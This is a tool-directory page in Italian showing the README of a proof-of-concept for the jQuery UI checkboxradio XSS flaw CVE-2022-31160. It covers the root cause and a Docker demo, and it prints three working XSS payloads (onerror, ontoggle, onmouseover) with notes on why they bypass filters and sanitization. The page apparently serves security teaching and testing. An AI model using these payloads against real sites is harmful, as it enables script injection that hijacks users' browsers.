Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
jquery-cve-2022-31160 — jquery XSS Proof of Concept (PoC) | Kitploit
Strumenti/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebCTFApprendimento e Formazione
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

jquery XSS Proof of Concept (PoC)

Vedi Repository
101 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Dimostrazione della vulnerabilità CVE-2022-31160 in jQuery UI

Security Badge jQuery UI CVE Docker

Questo progetto dimostra la vulnerabilità del widget Checkboxradio di jQuery UI (CVE-2022-31160), che consente la decodifica di entità HTML durante le operazioni di refresh del widget, portando potenzialmente ad attacchi Cross-Site Scripting (XSS).

🚨 Avviso di sicurezza

⚠️ Questo progetto contiene payload XSS funzionanti esclusivamente per scopi educativi e di ricerca.

  • Non usarlo su sistemi in produzione
  • Utilizzarlo solo in ambienti controllati
  • Destinato alla ricerca sulla sicurezza e alla formazione

📋 Indice

  • Panoramica della vulnerabilità
  • Avvio rapido
  • Struttura del progetto
  • Dimostrazioni
  • Dettagli tecnici
  • Uso di Docker
  • Analisi di sicurezza
  • Mitigazione
  • Contributi

🔍 Panoramica della vulnerabilità

Dettagli CVE-2022-31160

  • Componente: Widget Checkboxradio di jQuery UI
  • Versioni affette: jQuery UI ≤ 1.13.1
  • Tipo di vulnerabilità: Cross-Site Scripting (XSS) tramite decodifica di entità HTML
  • Punteggio CVSS: 6.1 (Medio)
  • Prima pubblicazione: 20 luglio 2022

Causa principale

Quando un widget checkboxradio viene inizializzato su un input racchiuso in un'etichetta (label), chiamare .checkboxradio("refresh") sul widget provoca la decodifica erronea delle entità HTML presenti nel contenuto dell'etichetta. Questo può convertire contenuti dannosi codificati in modo sicuro in JavaScript eseguibile.

Vettore d'attacco

<!-- Contenuto sicuro codificato -->
<label for="checkbox">
  Testo &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- Dopo .checkboxradio("refresh") -->
<label for="checkbox">
  Testo 
  <input type="checkbox" id="checkbox">
</label>

🚀 Avvio rapido

Prerequisiti

  • Docker installato sul sistema
  • Browser web con strumenti per sviluppatori
  • Conoscenze di base dei concetti di sicurezza web

Costruire ed eseguire

# Clonare o spostarsi nella directory del progetto
cd jquery-cve-2022-31160

# Costruire l'immagine Docker
docker build -t jquery-cve-2022-31160 .

# Avviare il container
docker run -p 3000:3000 jquery-cve-2022-31160

Accedere alle dimostrazioni

Una volta che il container è in esecuzione, accedere a:

  • Demo sondaggio semplificato: http://localhost:3000/survey
  • URL sondaggio alternativo: http://localhost:3000/simplified-survey

📁 Struttura del progetto

jquery-cve-2022-31160/
├── README.md                    # Questa documentazione
├── Dockerfile                   # Configurazione del container Docker
├── package.json                 # Dipendenze Node.js
├── server.js                    # Server Express.js
└── simplified-survey.html       # Dimostrazione stile sondaggio

🎯 Dimostrazioni

1. Demo sondaggio semplificato (simplified-survey.html)

URL: http://localhost:3000/survey

  • Interfaccia stile sondaggio
  • Molteplici scenari di vulnerabilità
  • Feedback visivo migliorato

Caratteristiche:

  • 4 diverse opzioni di checkbox che dimostrano vari scenari:
    • Opzione sicura: Nessuna entità codificata (gruppo di controllo)
    • XSS per sicurezza di rete: &lt;img src=x onerror=&quot;...&quot;&gt; - Esecuzione immediata
    • XSS per sicurezza mobile: &lt;details ontoggle=&quot;...&quot; open&gt; - Esecuzione immediata
    • XSS per sicurezza cloud: &lt;span onmouseover=&quot;...&quot;&gt; - Esecuzione interattiva

Strumenti di analisi:

  • Log dettagliati nella console
  • Avvisi di esecuzione XSS
  • Tracciamento passo-passo della vulnerabilità

🔧 Dettagli tecnici

Meccanismo della vulnerabilità

  1. Inizializzazione del widget: jQuery UI crea il widget checkboxradio
  2. Memorizzazione delle entità HTML: Il contenuto dell'etichetta con entità codificate viene elaborato
  3. Attivazione del refresh: Viene chiamato .checkboxradio("refresh")
  4. Decodifica delle entità: jQuery UI decodifica erroneamente le entità HTML
  5. Esecuzione XSS: Il contenuto dannoso decodificato diventa eseguibile

Percorso di codice affetto

// Operazione vulnerabile
$('#checkbox-vulnerabile').checkboxradio();
$('#checkbox-vulnerabile').checkboxradio("refresh"); // Attiva la vulnerabilità

Payload di test

Le dimostrazioni includono vari payload per testare diversi metodi di esecuzione XSS:

<!-- Sicurezza di rete: XSS tramite evento errore (esecuzione immediata) -->
&lt;img src=x onerror=&quot;console.log('XSS tramite refresh widget!'); alert('XSS eseguito tramite refresh widget!');&quot;&gt;

<!-- Sicurezza mobile: XSS tramite toggle dettagli (esecuzione immediata) -->
&lt;details ontoggle=&quot;alert('XSS per sicurezza mobile eseguito!'); console.log('XSS mobile tramite ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Sicurezza cloud: XSS interattivo (richiede interazione utente) -->
&lt;span onmouseover=&quot;alert('XSS al passaggio del mouse eseguito!'); console.log('XSS per sicurezza cloud tramite mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Passa il mouse per attivare]&lt;/span&gt;

Metodi di esecuzione XSS

1. Gestore di eventi di errore (onerror)

  • Attivazione: Immediata quando l'elemento viene inserito nel DOM
  • Affidabilità: Molto alta (fallisce sempre con src=x)
  • Caso d'uso: Mostra l'esecuzione XSS immediata
  • Rischio reale: Alto - aggira comunemente i filtri di input

2. Gestore di eventi toggle dettagli (ontoggle)

  • Attivazione: Quando lo stato di apertura/chiusura dell'elemento details cambia
  • Affidabilità: Molto alta (attivazione garantita con l'attributo open)
  • Caso d'uso: Esecuzione immediata all'inserimento nel DOM
  • Rischio reale: Alto - esecuzione cross-browser affidabile

3. Gestore di eventi mouse (onmouseover)

  • Attivazione: Richiede interazione dell'utente (passaggio del mouse)
  • Affidabilità: Alta quando l'utente interagisce
  • Caso d'uso: Scenari di ingegneria sociale
  • Rischio reale: Medio - richiede coinvolgimento dell'utente

Perché questi payload funzionano

Vantaggi dei gestori di eventi:

  • Eseguono quando l'elemento viene inserito tramite innerHTML
  • Aggirano le restrizioni del tag <script>
  • Funzionano in modo coerente su diversi browser
  • Non richiedono risorse esterne da caricare
  • Attivatori basati sullo stato (come ontoggle) sono molto affidabili

Bypass della codifica:

  • Le entità HTML (&lt;, &quot;) vengono decodificate dal refresh di jQuery UI
  • Trasforma contenuti codificati sicuri in codice eseguibile
  • Dimostra un bypass della sanitizzazione reale
  • Molteplici vettori di esecuzione mostrano la diversità della superficie d'attacco

🐳 Uso di Docker

Costruire l'immagine

docker build -t jquery-cve-2022-31160 .

Eseguire il container

# Eseguire sulla porta predefinita 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Eseguire su una porta personalizzata
docker run -p 8080:3000 jquery-cve-2022-31160

# Eseguire in background
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Eseguire con un nome personalizzato
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

Gestione del container

# Elencare i container in esecuzione
docker ps

# Fermare il container
docker stop jquery-cve-2022-31160

# Rimuovere il container
docker rm jquery-cve-2022-31160
Scarica lo strumento